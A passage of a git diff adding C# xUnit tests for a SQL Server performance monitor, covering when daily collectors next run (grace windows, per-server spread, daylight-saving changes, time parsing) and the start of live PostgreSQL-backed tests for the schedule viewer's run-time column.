+    private static DateTime NextDue(DateTime now, DateTime? lastRun, int runAt, int interval, int serverId,
+        Func<DateTime, DateTime> toUtc) =>
+        CollectorRunTime.NextDue(now, lastRun, runAt, interval, serverId, toUtc);
+
+    private static DateTime UtcClockNextDue(DateTime now, DateTime? lastRun, int runAt = TwoAm, int interval = Daily,
+        int serverId = NoSpreadId) =>
+        CollectorRunTime.NextDue(now, lastRun, runAt, interval, serverId, CollectorRunTime.LocalIsUtc);
+
+    /* ---- before and after the slot, with no history ---- */
+
+    [Fact]
+    public void NeverRun_BeforeTodaysSlot_WaitsForTodaysSlot()
+    {
+        Assert.Equal(Utc(2026, 10, 2, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 1, 0), null));
+        Assert.Equal(Utc(2026, 10, 2, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 2, 0).AddTicks(-1), null));
+        Assert.Equal(Utc(2026, 10, 2, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 0, 0), null));
+    }
+
+    [Fact]
+    public void NeverRun_AfterTodaysGrace_WaitsForTomorrowsSlot_NotNowAndNotAJitteredNow()
+    {
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 3, 0).AddTicks(1), null));
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 12, 0), null));
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 23, 59, 59), null));
+    }
+
+    [Theory]
+    [InlineData(2, 0, 0)]
+    [InlineData(2, 30, 0)]
+    [InlineData(2, 59, 59)]
+    [InlineData(3, 0, 0)]
+    public void NeverRun_InsideTheGrace_RunsNow(int hour, int minute, int second)
+    {
+        var now = Utc(2026, 10, 2, hour, minute, second);
+
+        Assert.Equal(now, UtcClockNextDue(now, null));
+    }
+
+    [Fact]
+    public void TheGrace_IsSixtyMinutes_AndClosedAtBothEnds()
+    {
+        Assert.Equal(TimeSpan.FromMinutes(60), CollectorRunTime.Grace);
+
+        var slot = Utc(2026, 10, 2, 2, 0);
+        Assert.Equal(slot, UtcClockNextDue(slot, null));
+        Assert.Equal(slot + CollectorRunTime.Grace, UtcClockNextDue(slot + CollectorRunTime.Grace, null));
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(slot + CollectorRunTime.Grace + TimeSpan.FromTicks(1), null));
+    }
+
+    [Fact]
+    public void ADateMinValueLastRun_IsReadAsNeverRun()
+    {
+        var now = Utc(2026, 10, 2, 12, 0);
+
+        Assert.Equal(UtcClockNextDue(now, null), UtcClockNextDue(now, DateTime.MinValue));
+    }
+
+    /* ---- the spread ---- */
+
+    [Fact]
+    public void TheSpread_IsFixedPerId_AndUnderSixtyMinutes()
+    {
+        int[] ids = { 0, 1, 59, 1800, 3599, 3600, 3601, 123456789, -1, -61, -123456789, int.MaxValue, int.MinValue };
+        foreach (var id in ids)
+        {
+            var spread = CollectorRunTime.Spread(id);
+
+            Assert.Equal(TimeSpan.FromSeconds((uint)id % 3600), spread);
+            Assert.Equal(spread, CollectorRunTime.Spread(id));
+            Assert.True(spread >= TimeSpan.Zero, $"id {id}: the spread must not pull the slot before the run time");
+            Assert.True(spread < TimeSpan.FromMinutes(60), $"id {id}: the spread must stay under 60 minutes");
+        }
+    }
+
+    [Fact]
+    public void TheSlot_IsTheRunTimePlusTheServersSpread_OnTheServersClock()
+    {
+        var date = new DateOnly(2026, 10, 2);
+
+        Assert.Equal(Utc(2026, 10, 2, 2, 0), CollectorRunTime.SlotUtc(date, TwoAm, NoSpreadId, CollectorRunTime.LocalIsUtc));
+        Assert.Equal(Utc(2026, 10, 2, 2, 30), CollectorRunTime.SlotUtc(date, TwoAm, HalfHourSpreadId, CollectorRunTime.LocalIsUtc));
+        Assert.Equal(Utc(2026, 10, 2, 2, 59, 59), CollectorRunTime.SlotUtc(date, TwoAm, LongSpreadId, CollectorRunTime.LocalIsUtc));
+
+        var eastern = ServerClock.Resolve(EasternIanaId, -300);
+        Assert.Equal(Utc(2026, 7, 1, 6, 0), CollectorRunTime.SlotUtc(new DateOnly(2026, 7, 1), TwoAm, NoSpreadId, eastern.ToUtc));
+        Assert.Equal(Utc(2026, 1, 15, 7, 0), CollectorRunTime.SlotUtc(new DateOnly(2026, 1, 15), TwoAm, NoSpreadId, eastern.ToUtc));
+    }
+
+    [Fact]
+    public void WithASpread_TheGraceStartsAtTheSlot_NotAtTheRunTime()
+    {
+        /* Id 1800 puts the slot at 02:30: 02:15 is still before it, 03:20 is inside its grace, 03:31 is past it. */
+        Assert.Equal(Utc(2026, 10, 2, 2, 30), UtcClockNextDue(Utc(2026, 10, 2, 2, 15), null, serverId: HalfHourSpreadId));
+        Assert.Equal(Utc(2026, 10, 2, 3, 20), UtcClockNextDue(Utc(2026, 10, 2, 3, 20), null, serverId: HalfHourSpreadId));
+        Assert.Equal(Utc(2026, 10, 3, 2, 30), UtcClockNextDue(Utc(2026, 10, 2, 3, 31), null, serverId: HalfHourSpreadId));
+    }
+
+    /* ---- after a run ---- */
+
+    [Fact]
+    public void AfterARun_TheNextDueIsTheNextDatesSlot()
+    {
+        var run = Utc(2026, 10, 2, 2, 10);
+
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(run, run));
+
+        /* With 30 minutes of spread the slot is 02:30, so a run in its grace is 02:40; a run at 02:10 would be
+           before the slot and count for the day before. */
+        var spreadRun = Utc(2026, 10, 2, 2, 40);
+        Assert.Equal(Utc(2026, 10, 3, 2, 30), UtcClockNextDue(spreadRun, spreadRun, serverId: HalfHourSpreadId));
+        Assert.Equal(Utc(2026, 10, 2, 2, 30), UtcClockNextDue(run, run, serverId: HalfHourSpreadId));
+    }
+
+    [Fact]
+    public void ARestartInsideTheGraceAfterTheRun_DoesNotRunAgain()
+    {
+        var run = Utc(2026, 10, 2, 2, 10);
+
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 2, 20), run));
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 14, 0), run));
+    }
+
+    [Fact]
+    public void ADayMissedWhileDown_IsSkippedNotReplayed_AndWaitsForTheNextSlot()
+    {
+        var lastRun = Utc(2026, 9, 28, 2, 10);
+
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 12, 0), lastRun));
+        Assert.Equal(Utc(2026, 10, 2, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 1, 0), lastRun));
+    }
+
+    [Fact]
+    public void ADayMissedWhileDown_ButNowInsideTheGrace_RunsNow()
+    {
+        var lastRun = Utc(2026, 9, 28, 2, 10);
+        var now = Utc(2026, 10, 2, 2, 20);
+
+        Assert.Equal(now, UtcClockNextDue(now, lastRun));
+    }
+
+    [Fact]
+    public void YesterdaysRunInsideItsGrace_LeavesTodaysSlotDue()
+    {
+        var lastRun = Utc(2026, 10, 1, 2, 50);
+
+        Assert.Equal(Utc(2026, 10, 2, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 1, 0), lastRun));
+        Assert.Equal(Utc(2026, 10, 2, 2, 5), UtcClockNextDue(Utc(2026, 10, 2, 2, 5), lastRun));
+    }
+
+    [Fact]
+    public void ARunBeforeTodaysSlot_CountsForTheDayBefore_SoTodaysSlotIsStillOwed()
+    {
+        var connectRun = Utc(2026, 10, 2, 1, 0);
+
+        Assert.Equal(Utc(2026, 10, 2, 2, 0), UtcClockNextDue(connectRun, connectRun));
+    }
+
+    [Fact]
+    public void ASlotThatSpillsPastMidnight_BelongsToTheDateItWasComputedFor()
+    {
+        /* Run time 23:30 plus 59:59 of spread puts the 2026-10-02 slot at 00:29:59 on 2026-10-03. A run in its grace
+           is still the 10-02 run, so the next one is the 10-03 slot, a day later, not two. */
+        const int lateRunAt = 23 * 60 + 30;
+        var run = Utc(2026, 10, 3, 0, 35);
+
+        Assert.Equal(Utc(2026, 10, 3, 0, 29, 59), CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), lateRunAt, LongSpreadId, CollectorRunTime.LocalIsUtc));
+        Assert.Equal(Utc(2026, 10, 4, 0, 29, 59), UtcClockNextDue(run, run, lateRunAt, serverId: LongSpreadId));
+    }
+
+    /* ---- whole-day intervals longer than one day ---- */
+
+    [Fact]
+    public void ATwoDayInterval_SkipsADay()
+    {
+        var run = Utc(2026, 10, 1, 2, 10);
+
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(run, run, interval: 2880));
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 12, 0), run, interval: 2880));
+        Assert.Equal(Utc(2026, 10, 2, 2, 0), UtcClockNextDue(Utc(2026, 10, 1, 3, 0), Utc(2026, 9, 30, 2, 10), interval: 2880));
+    }
+
+    [Fact]
+    public void ATwoDayInterval_RunsInsideTheGraceOfItsDay_AndSkipsAMissedOne()
+    {
+        var run = Utc(2026, 10, 1, 2, 10);
+        var inside = Utc(2026, 10, 3, 2, 30);
+
+        Assert.Equal(inside, UtcClockNextDue(inside, run, interval: 2880));
+
+        /* Past the grace of the 10-03 slot, that run is lost and the next one is two days on, on the same grid. */
+        Assert.Equal(Utc(2026, 10, 5, 2, 0), UtcClockNextDue(Utc(2026, 10, 3, 3, 30), run, interval: 2880));
+        Assert.Equal(Utc(2026, 10, 5, 2, 0), UtcClockNextDue(Utc(2026, 10, 4, 12, 0), run, interval: 2880));
+    }
+
+    [Fact]
+    public void ATwoDayInterval_NeverRun_WaitsForTheNextDailySlot()
+    {
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 12, 0), null, interval: 2880));
+    }
+
+    /* ---- the server's clock ---- */
+
+    [Theory]
+    [InlineData(EasternWindowsId)]
+    [InlineData(EasternIanaId)]
+    public void TheSpringForwardDay_KeepsTheRunTimeOnTheLocalClock(string zoneId)
+    {
+        var clock = ServerClock.Resolve(zoneId, -300);
+
+        /* 04:00 local: 09:00Z in standard time on 03-07, 08:00Z in daylight time from 03-08. A run at 04:05 EST on the
+           7th is followed by 04:00 EDT, 23 hours on; "due + 1440 minutes" would be 05:00 EDT. */
+        var run = Utc(2026, 3, 7, 9, 5);
+        Assert.Equal(Utc(2026, 3, 8, 8, 0), NextDue(run, run, 240, Daily, NoSpreadId, clock.ToUtc));
+        var dayAfter = Utc(2026, 3, 8, 8, 5);
+        Assert.Equal(Utc(2026, 3, 9, 8, 0), NextDue(dayAfter, dayAfter, 240, Daily, NoSpreadId, clock.ToUtc));
+
+        /* 02:00 local is inside the gap on the 8th, so it reads as 03:00 EDT (07:00Z), and the 9th is 02:00 EDT (06:00Z). */
+        var twoRun = Utc(2026, 3, 7, 7, 10);
+        Assert.Equal(Utc(2026, 3, 8, 7, 0), NextDue(twoRun, twoRun, TwoAm, Daily, NoSpreadId, clock.ToUtc));
+        var gapDayRun = Utc(2026, 3, 8, 7, 10);
+        Assert.Equal(Utc(2026, 3, 9, 6, 0), NextDue(gapDayRun, gapDayRun, TwoAm, Daily, NoSpreadId, clock.ToUtc));
+    }
+
+    [Theory]
+    [InlineData(EasternWindowsId)]
+    [InlineData(EasternIanaId)]
+    public void TheFallBackDay_KeepsTheRunTimeOnTheLocalClock(string zoneId)
+    {
+        var clock = ServerClock.Resolve(zoneId, -240);
+
+        /* 02:00 EDT on 10-31 is 06:00Z; 02:00 EST on 11-01 is 07:00Z, 25 hours on. "due + 1440 minutes" would be
+           06:00Z, which is 01:00 EST on the 1st. */
+        var run = Utc(2026, 10, 31, 6, 10);
+        Assert.Equal(Utc(2026, 11, 1, 7, 0), NextDue(run, run, TwoAm, Daily, NoSpreadId, clock.ToUtc));
+        var dayAfter = Utc(2026, 11, 1, 7, 10);
+        Assert.Equal(Utc(2026, 11, 2, 7, 0), NextDue(dayAfter, dayAfter, TwoAm, Daily, NoSpreadId, clock.ToUtc));
+
+        /* Before the change a never-run collector sees the daylight slot, after it the standard one. */
+        Assert.Equal(Utc(2026, 11, 1, 7, 0), NextDue(Utc(2026, 11, 1, 5, 0), null, TwoAm, Daily, NoSpreadId, clock.ToUtc));
+    }
+
+    [Theory]
+    [InlineData(EasternWindowsId)]
+    [InlineData(EasternIanaId)]
+    public void EveryDayOfTheYear_TheNextSlotIsTheSameLocalTime(string zoneId)
+    {
+        var clock = ServerClock.Resolve(zoneId, -300);
+        var springForwardDay = new DateOnly(2026, 3, 8);
+
+        /* Run time 02:00 plus the 30 minutes of spread for id 1800: 02:30 local, which does not exist on the spring
+           forward day and reads as 03:30 there. */
+        var previous = CollectorRunTime.SlotUtc(new DateOnly(2026, 1, 1), TwoAm, HalfHourSpreadId, clock.ToUtc);
+        for (var date = new DateOnly(2026, 1, 2); date <= new DateOnly(2026, 12, 31); date = date.AddDays(1))
+        {
+            var run = previous.AddMinutes(5);
+            var next = NextDue(run, run, TwoAm, Daily, HalfHourSpreadId, clock.ToUtc);
+
+            Assert.Equal(CollectorRunTime.SlotUtc(date, TwoAm, HalfHourSpreadId, clock.ToUtc), next);
+            var expectedLocal = date.ToDateTime(date == springForwardDay ? new TimeOnly(3, 30) : new TimeOnly(2, 30));
+            Assert.Equal(expectedLocal, clock.ToServerLocal(next));
+            previous = next;
+        }
+    }
+
+    [Fact]
+    public void AFixedOffsetClock_ReadsTheRunTimeOnTheServersClock_AcrossTheUtcDate()
+    {
+        /* +05:30: 02:00 local on the 3rd is 20:30Z on the 2nd. */
+        var india = ServerClock.FixedOffset(330);
+
+        Assert.Equal(Utc(2026, 10, 2, 20, 30), NextDue(Utc(2026, 10, 2, 12, 0), null, TwoAm, Daily, NoSpreadId, india.ToUtc));
+        Assert.Equal(Utc(2026, 10, 2, 20, 30), NextDue(Utc(2026, 10, 2, 20, 0), null, TwoAm, Daily, NoSpreadId, india.ToUtc));
+        Assert.Equal(Utc(2026, 10, 2, 21, 0), NextDue(Utc(2026, 10, 2, 21, 0), null, TwoAm, Daily, NoSpreadId, india.ToUtc));
+        Assert.Equal(Utc(2026, 10, 3, 20, 30), NextDue(Utc(2026, 10, 2, 22, 0), null, TwoAm, Daily, NoSpreadId, india.ToUtc));
+
+        /* -10:00, run time 23:30: the 2026-10-02 slot is 09:30Z on the 3rd. */
+        var hawaii = ServerClock.FixedOffset(-600);
+        const int lateRunAt = 23 * 60 + 30;
+        Assert.Equal(Utc(2026, 10, 3, 9, 30), NextDue(Utc(2026, 10, 2, 12, 0), null, lateRunAt, Daily, NoSpreadId, hawaii.ToUtc));
+    }
+
+    [Fact]
+    public void AnUnknownClock_IsUtc()
+    {
+        var instant = new DateTime(2026, 10, 2, 2, 0, 0, DateTimeKind.Unspecified);
+
+        Assert.Equal(instant, CollectorRunTime.LocalIsUtc(instant));
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), UtcClockNextDue(Utc(2026, 10, 2, 12, 0), null));
+        Assert.Equal(Utc(2026, 10, 3, 2, 0), NextDue(Utc(2026, 10, 2, 12, 0), null, TwoAm, Daily, NoSpreadId, ServerClock.Utc.ToUtc));
+    }
+
+    [Fact]
+    public void TheAnswers_AreUtcKind_WhateverKindTheClockReturns()
+    {
+        var eastern = ServerClock.Resolve(EasternIanaId, -300);
+        var now = Utc(2026, 10, 2, 12, 0);
+
+        Assert.Equal(DateTimeKind.Utc, NextDue(now, null, TwoAm, Daily, NoSpreadId, eastern.ToUtc).Kind);
+        Assert.Equal(DateTimeKind.Utc, UtcClockNextDue(now, null).Kind);
+        Assert.Equal(DateTimeKind.Utc, CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), TwoAm, NoSpreadId, eastern.ToUtc).Kind);
+    }
+
+    /* ---- every clock, against a brute force over each candidate date ---- */
+
+    private static IEnumerable<(string Name, Func<DateTime, DateTime> ToUtc)> Clocks()
+    {
+        yield return ("unknown", CollectorRunTime.LocalIsUtc);
+        yield return ("-12:00", ServerClock.FixedOffset(-720).ToUtc);
+        yield return ("-05:00", ServerClock.FixedOffset(-300).ToUtc);
+        yield return ("+05:30", ServerClock.FixedOffset(330).ToUtc);
+        yield return ("+14:00", ServerClock.FixedOffset(840).ToUtc);
+        yield return ("US Eastern", ServerClock.Resolve(EasternIanaId, -300).ToUtc);
+    }
+
+    private static IEnumerable<DateTime> Samples()
+    {
+        foreach (var start in new[] { Utc(2026, 3, 6), Utc(2026, 10, 30), Utc(2026, 10, 1) })
+        {
+            for (var t = start; t < start.AddDays(4); t = t.AddMinutes(211))
+            {
+                yield return t;
+            }
+        }
+    }
+
+    /* The slow, obvious version: look at every date around now. The first slot at or after now, or now itself when
+       now is inside a slot's grace. */
+    private static DateTime NeverRunByBruteForce(DateTime now, int runAt, int serverId, Func<DateTime, DateTime> toUtc)
+    {
+        var around = DateOnly.FromDateTime(now);
+        DateTime? next = null;
+        for (var date = around.AddDays(-4); date <= around.AddDays(4); date = date.AddDays(1))
+        {
+            var slot = CollectorRunTime.SlotUtc(date, runAt, serverId, toUtc);
+            if (slot <= now && now <= slot + CollectorRunTime.Grace)
+            {
+                return now;
+            }
+
+            if (slot > now && (next is null || slot < next))
+            {
+                next = slot;
+            }
+        }
+
+        return next!.Value;
+    }
+
+    /* The date a run belongs to is the latest date whose slot is at or before it. The slots after it are every
+       `days` dates on; the first whose grace has not passed is due, or now when now is already inside it. */
+    private static DateTime WithLastRunByBruteForce(DateTime now, DateTime lastRun, int days, int runAt, int serverId,
+        Func<DateTime, DateTime> toUtc)
+    {
+        var around = DateOnly.FromDateTime(lastRun);
+        var lastDate = around.AddDays(-4);
+        for (var date = around.AddDays(-4); date <= around.AddDays(4); date = date.AddDays(1))
+        {
+            if (CollectorRunTime.SlotUtc(date, runAt, serverId, toUtc) <= lastRun)
+            {
+                lastDate = date;
+            }
+        }
+
+        for (var step = 1; ; step++)
+        {
+            var slot = CollectorRunTime.SlotUtc(lastDate.AddDays(step * days), runAt, serverId, toUtc);
+            if (now <= slot + CollectorRunTime.Grace)
+            {
+                return slot <= now ? now : slot;
+            }
+        }
+    }
+
+    [Fact]
+    public void NeverRun_OnEveryClock_IsTheFirstSlotAheadOrNowInsideAGrace()
+    {
+        foreach (var (name, toUtc) in Clocks())
+        {
+            foreach (var runAt in new[] { 0, 119, 1439 })
+            {
+                foreach (var id in new[] { NoSpreadId, HalfHourSpreadId, LongSpreadId })
+                {
+                    foreach (var now in Samples())
+                    {
+                        var actual = NextDue(now, null, runAt, Daily, id, toUtc);
+
+                        Assert.True(NeverRunByBruteForce(now, runAt, id, toUtc) == actual,
+                            $"{name}, run at {runAt}, id {id}, now {now:O}: got {actual:O}");
+                        Assert.True(actual - now <= CollectorRunTime.MaxStampAhead(Daily),
+                            $"{name}, run at {runAt}, id {id}, now {now:O}: {actual:O} is further ahead than the clamp bound");
+                    }
+                }
+            }
+        }
+    }
+
+    [Fact]
+    public void WithALastRun_OnEveryClock_IsTheNextGridSlotOrNowInsideItsGrace()
+    {
+        var back = new[] { TimeSpan.FromMinutes(10), TimeSpan.FromHours(5), TimeSpan.FromHours(30), TimeSpan.FromHours(70) };
+        foreach (var (name, toUtc) in Clocks())
+        {
+            foreach (var runAt in new[] { 0, 119, 1439 })
+            {
+                foreach (var id in new[] { NoSpreadId, LongSpreadId })
+                {
+                    foreach (var days in new[] { 1, 2, 3 })
+                    {
+                        foreach (var now in Samples())
+                        {
+                            foreach (var ago in back)
+                            {
+                                var lastRun = now - ago;
+                                var actual = NextDue(now, lastRun, runAt, days * Daily, id, toUtc);
+
+                                Assert.True(WithLastRunByBruteForce(now, lastRun, days, runAt, id, toUtc) == actual,
+                                    $"{name}, run at {runAt}, id {id}, {days} d, now {now:O}, last run {lastRun:O}: got {actual:O}");
+                                Assert.True(actual - now <= CollectorRunTime.MaxStampAhead(days * Daily),
+                                    $"{name}, run at {runAt}, id {id}, {days} d, now {now:O}, last run {lastRun:O}: {actual:O} is further ahead than the clamp bound");
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    /* ---- the clamp bound ---- */
+
+    [Fact]
+    public void TheClampBound_IsTheIntervalPlusSixtyMinutesOfSpreadPlusAnAutumnHour()
+    {
+        Assert.Equal(TimeSpan.FromMinutes(1440 + 60 + 60), CollectorRunTime.MaxStampAhead(1440));
+        Assert.Equal(TimeSpan.FromMinutes(2880 + 60 + 60), CollectorRunTime.MaxStampAhead(2880));
+    }
+
+    [Fact]
+    public void ARunTimeStampOnTheLongestDay_IsNotReadAsAClockStep()
+    {
+        var eastern = ServerClock.Resolve(EasternIanaId, -240);
+        var run = Utc(2026, 10, 31, 6, 0);
+        var due = NextDue(run, run, TwoAm, Daily, NoSpreadId, eastern.ToUtc);
+
+        Assert.Equal(Utc(2026, 11, 1, 7, 0), due);
+        Assert.Equal(TimeSpan.FromHours(25), due - run);
+
+        /* The plain interval reads a 25-hour wait as a clock that stepped back and runs it now. The bound does not. */
+        Assert.Equal(run, CollectorCadence.ClampDue(due, run, TimeSpan.FromMinutes(Daily)));
+        Assert.Equal(due, CollectorCadence.ClampDue(due, run, CollectorRunTime.MaxStampAhead(Daily)));
+    }
+
+    [Fact]
+    public void AStampMuchFurtherAheadThanTheBound_IsStillReadAsAClockStep()
+    {
+        var now = Utc(2026, 10, 2, 12, 0);
+        var due = now.AddDays(3);
+
+        Assert.Equal(now, CollectorCadence.ClampDue(due, now, CollectorRunTime.MaxStampAhead(Daily)));
+    }
+
+    /* ---- which collectors take a run time ---- */
+
+    [Theory]
+    [InlineData(60, false)]
+    [InlineData(720, false)]
+    [InlineData(1439, false)]
+    [InlineData(1440, true)]
+    [InlineData(1441, false)]
+    [InlineData(2880, true)]
+    [InlineData(4320, true)]
+    [InlineData(10080, true)]
+    [InlineData(0, false)]
+    [InlineData(-1440, false)]
+    public void AllowsRunAt_OnlyForAPositiveWholeNumberOfDays(int intervalMinutes, bool expected)
+    {
+        Assert.Equal(expected, CollectorRunTime.AllowsRunAt(intervalMinutes));
+    }
+
+    [Fact]
+    public void NextDue_RefusesWhatNoRunTimeCanMean()
+    {
+        var now = Utc(2026, 10, 2, 12, 0);
+
+        Assert.Throws<ArgumentOutOfRangeException>(() => UtcClockNextDue(now, null, interval: 60));
+        Assert.Throws<ArgumentOutOfRangeException>(() => UtcClockNextDue(now, null, interval: 0));
+        Assert.Throws<ArgumentOutOfRangeException>(() => UtcClockNextDue(now, null, runAt: -1));
+        Assert.Throws<ArgumentOutOfRangeException>(() => UtcClockNextDue(now, null, runAt: 1440));
+        Assert.Throws<ArgumentNullException>(() => NextDue(now, null, TwoAm, Daily, NoSpreadId, null!));
+        Assert.Throws<ArgumentOutOfRangeException>(() =>
+            CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), 1440, NoSpreadId, CollectorRunTime.LocalIsUtc));
+    }
+
+    /* ---- the HH:MM text ---- */
+
+    [Theory]
+    [InlineData("00:00", 0)]
+    [InlineData("02:00", 120)]
+    [InlineData("02:05", 125)]
+    [InlineData("12:30", 750)]
+    [InlineData("23:59", 1439)]
+    [InlineData(" 02:00 ", 120)]
+    public void TryParse_AcceptsA24HourTime(string text, int expectedMinute)
+    {
+        Assert.True(CollectorRunTime.TryParse(text, out var minute));
+        Assert.Equal(expectedMinute, minute);
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    [InlineData("24:00")]
+    [InlineData("23:60")]
+    [InlineData("99:99")]
+    [InlineData("2:5")]
+    [InlineData("2:00")]
+    [InlineData("02:5")]
+    [InlineData("abc")]
+    [InlineData("ab:cd")]
+    [InlineData("02-00")]
+    [InlineData("0200")]
+    [InlineData("02:000")]
+    [InlineData("02:00:00")]
+    [InlineData("-1:00")]
+    [InlineData("+2:00")]
+    [InlineData("０２:00")]
+    [InlineData("02:00 PM")]
+    public void TryParse_RefusesAnythingButHhMm(string? text)
+    {
+        Assert.False(CollectorRunTime.TryParse(text, out var minute));
+        Assert.Equal(0, minute);
+    }
+
+    [Fact]
+    public void Format_RoundTripsEveryMinuteOfTheDay()
+    {
+        var shape = new Regex("^[0-2][0-9]:[0-5][0-9]$");
+        for (var minute = 0; minute < 1440; minute++)
+        {
+            var text = CollectorRunTime.Format(minute);
+
+            Assert.Matches(shape, text);
+            Assert.True(CollectorRunTime.TryParse(text, out var parsed), text);
+            Assert.Equal(minute, parsed);
+        }
+
+        Assert.Equal("00:00", CollectorRunTime.Format(0));
+        Assert.Equal("02:05", CollectorRunTime.Format(125));
+        Assert.Equal("23:59", CollectorRunTime.Format(1439));
+    }
+
+    [Fact]
+    public void Format_RefusesAMinuteOutsideTheDay()
+    {
+        Assert.Throws<ArgumentOutOfRangeException>(() => CollectorRunTime.Format(-1));
+        Assert.Throws<ArgumentOutOfRangeException>(() => CollectorRunTime.Format(1440));
+    }
+
+    /* ---- the one copy of the error texts ---- */
+
+    [Fact]
+    public void TheErrorTexts_AreTheOnesEveryEditorShows()
+    {
+        Assert.Equal("Run at must be a 24-hour time from 00:00 to 23:59, such as 02:00.", CollectorRunTime.InvalidRunAtMessage);
+        Assert.Equal(
+            "'wait_stats' runs every 60 minutes. A run time works only for a collector that runs once a day or less often (1440 minutes, or a multiple of 1440). Change the frequency or clear the run time.",
+            CollectorRunTime.IntervalRefusalMessage("wait_stats", 60));
+        Assert.Equal(
+            "'server_config' runs every 720 minutes. A run time works only for a collector that runs once a day or less often (1440 minutes, or a multiple of 1440). Change the frequency or clear the run time.",
+            CollectorRunTime.IntervalRefusalMessage("server_config", 720));
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorRunTimeViewerLiveTests.cs b/Darling/Darling.Tests/CollectorRunTimeViewerLiveTests.cs
new file mode 100644
index 0000000000..54f7244695
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorRunTimeViewerLiveTests.cs
@@ -0,0 +1,545 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Collector Schedules window's "Run at" column against a real store (#4938): the read, the save and the clear,
+/// for the fleet and for a server, driven the way the window drives them (read the schedule rows and the run times,
+/// build the editable schedule, edit a cell, validate, then write the run-time changes and the schedule rows in ONE
+/// transaction). The run time
+/// lives in <c>config.config_collector_run_times</c>, a table of its own, so a schedule Save never carries it. What the
+/// service then resolves from the stored rows is checked with its own <see cref="StoreConfigProvider.ResolveSchedule"/>,
+/// so "None on a server over a fleet time" is judged by the rule the collectors run on and not by a restatement of it.
+/// </summary>
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches the shared
+   store's tables, so it cannot race the live collection and serializing it would be pure slowdown. */
+public sealed class CollectorRunTimeViewerLiveTests
+{
+    private const string Daily = "index_object_stats";
+    private const string AnotherDaily = "server_properties";
+    private const string SkipText = "DARLING_TEST_PG is not set: the viewer run-time tests need a disposable PostgreSQL store.";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Every stored run time, one text: <c>fleet/collector=minute</c> or <c>serverId/collector=minute</c>.</summary>
+    private static async Task<string> RunTimesAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        (string)(await ScalarAsync(connection,
+            "SELECT COALESCE(string_agg(COALESCE(server_id::text, 'fleet') || '/' || collector_name || '=' || run_at_minute, ',' ORDER BY server_id NULLS FIRST, collector_name), '') FROM config.config_collector_run_times", ct))!;
+
+    private static async Task<long> ScheduleRowCountAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        (long)(await ScalarAsync(connection, "SELECT count(*) FROM config.config_collector_schedules", ct))!;
+
+    /// <summary>The window's own steps for a scope: read both tables, build the editable schedule, let the caller edit it,
+    /// validate, then ONE call that writes the run-time changes (one statement each) and the schedule rows, exactly as a
+    /// released viewer writes them, in one transaction.</summary>
+    private static async Task SaveAsync(
+        ViewerDataService viewer, int? serverId, Action<List<CollectorScheduleEditItem>> edit, CancellationToken ct,
+        bool usesDefault = false, bool resetToDefaults = false, Func<Task>? afterOpen = null)
+    {
+        var schedules = await viewer.GetCollectorSchedulesAsync(ct);
+        var runTimes = await viewer.GetCollectorRunTimesAsync(ct);
+        var editing = CollectorScheduleOverlay.BuildEffectiveSchedule(schedules, runTimes, usesDefault ? null : serverId);
+        if (resetToDefaults)
+        {
+            /* The window's Reset to Defaults replaces the whole grid with the shipped defaults. */
+            editing = CollectorSchedulePresets.BuildDefaultSchedule();
+        }
+
+        edit(editing);
+
+        /* Another writer (the CLI verb, another viewer) can change the store while the window is open. */
+        if (afterOpen is not null)
+        {
+            await afterOpen();
+        }
+
+        if (!usesDefault)
+        {
+            Assert.True(CollectorScheduleOverlay.ValidateSchedule(editing, out var error), error);
+        }
+
+        /* The window's own rule: a schedule Reset (Reset to Defaults, or a server on "Use default schedule") also clears the scope's
+           run-time rows, by scope and in the same transaction. */
+        var clearRunTimes = resetToDefaults || usesDefault;
